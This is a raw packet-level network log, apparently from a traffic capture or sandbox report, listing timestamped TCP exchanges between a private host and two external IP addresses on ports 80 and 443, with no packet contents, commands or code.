Nov 12, 2024 08:30:40.751228094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751230955 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.751240969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751250029 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.751260996 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.751287937 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.751422882 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751482010 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751492977 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751538038 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.751617908 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751629114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751637936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751657009 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751681089 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.751691103 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.751876116 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751884937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751895905 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751908064 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751919031 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.751919985 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751926899 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.751933098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751944065 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751955032 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751962900 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.751966000 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.751980066 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.751992941 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.752016068 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.752312899 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.752322912 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.752334118 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.752345085 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.752357960 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.752382040 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.752528906 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.752540112 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.752549887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.752561092 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.752573013 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.752595901 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.752770901 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.752779961 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.752790928 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.752801895 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.752813101 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.752823114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.752832890 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.752842903 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.752871037 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.753051996 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.753067017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.753078938 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.753088951 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.753101110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.753110886 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.753113985 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.753125906 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.753153086 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.753777027 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.753823996 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.753828049 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.753838062 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.753976107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.753983974 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.753988028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.753999949 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.754010916 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.754040003 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.754060030 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.754115105 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.754312992 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.754333973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.754384995 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.754386902 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.754400015 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.754445076 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.754523993 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.754534960 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.754547119 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.754558086 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.754569054 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.754579067 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.754609108 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.754686117 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.754765987 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.754796982 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.754806042 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.754812956 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.754825115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.754851103 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.754874945 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.754889011 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.754899979 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.754940033 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.755393028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.755418062 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.755429983 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.755438089 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.755460978 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.755466938 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.755547047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.755558014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.755568027 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.755580902 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.755609989 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.755633116 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.755641937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.755798101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.794253111 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794298887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794312000 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.794315100 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794359922 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.794363976 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794382095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794399023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794419050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794430017 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.794440031 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.794467926 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.794574976 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794586897 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794599056 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794608116 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794629097 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.794656038 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.794725895 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794738054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794749022 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794763088 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794770956 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.794805050 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.794938087 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794948101 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794953108 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794965029 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794976950 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.794991970 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.795002937 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.795030117 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.799799919 CET	443	57100	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.800290108 CET	57100	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.800309896 CET	443	57100	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.800821066 CET	57100	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.800827026 CET	443	57100	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.814595938 CET	443	57101	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.814955950 CET	57101	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.814992905 CET	443	57101	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.815452099 CET	57101	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:40.815458059 CET	443	57101	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:40.837735891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.837766886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.837775946 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.837786913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.837794065 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.837851048 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.866751909 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.866796017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.866806984 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.866826057 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.866916895 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.866920948 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.866929054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.866940975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.866951942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.866967916 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.866991997 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.867124081 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867182016 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.867182970 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867193937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867248058 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.867310047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867325068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867336988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867345095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867366076 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.867388010 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.867450953 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867461920 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867471933 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867492914 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.867516994 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.867588043 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867674112 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867685080 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867696047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867707014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867712021 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.867713928 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867723942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867738008 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.867907047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867916107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867932081 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.867942095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867950916 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.867964983 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.867974043 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.867990971 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.868031025 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868041039 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868051052 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868063927 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868084908 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.868109941 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.868163109 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868257046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868274927 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868288040 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868299007 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868304014 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.868314981 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868326902 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.868330956 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868351936 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.868366957 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.868541002 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868555069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868566036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868592024 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.868686914 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.868690968 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868701935 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868711948 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868721962 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868732929 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868738890 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.868745089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868756056 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868757010 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.868767023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868778944 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.868782043 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.868805885 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.868824959 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.868994951 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869031906 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.869124889 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869136095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869146109 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869158983 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869165897 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.869168997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869179964 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869179964 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.869191885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869203091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869210005 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.869214058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869223118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.869225979 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869235992 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869251013 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.869271040 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.869546890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869558096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869568110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869590998 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.869611979 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.869741917 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869750977 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869759083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869770050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869781017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869782925 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.869791985 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869797945 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.869803905 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869816065 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869818926 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.869827986 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.869843006 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.869867086 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.870129108 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870140076 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870151043 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870161057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870167971 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.870172024 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870182037 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.870182991 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870193958 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870276928 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.870276928 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.870311022 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870325089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870335102 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870348930 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.870373011 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.870477915 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870493889 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870512009 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870532990 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.870556116 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.870619059 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870630026 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870640993 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870661020 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.870672941 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870680094 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.870691061 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.870707989 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.870735884 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870747089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870779991 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.870816946 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870827913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870840073 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.870862961 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.870883942 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.871244907 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.871263027 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.871273041 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.871310949 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.871310949 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.871361971 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.871372938 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.871382952 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.871452093 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.871452093 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.871457100 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.871468067 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.871474028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.871481895 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.871504068 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.871567011 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.871701956 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.871758938 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.871768951 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.871812105 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.871830940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.871840954 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.871840954 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.871853113 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:40.871866941 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:40.871891975 CET	49809	80	192.168.2.5	185.215.113.206
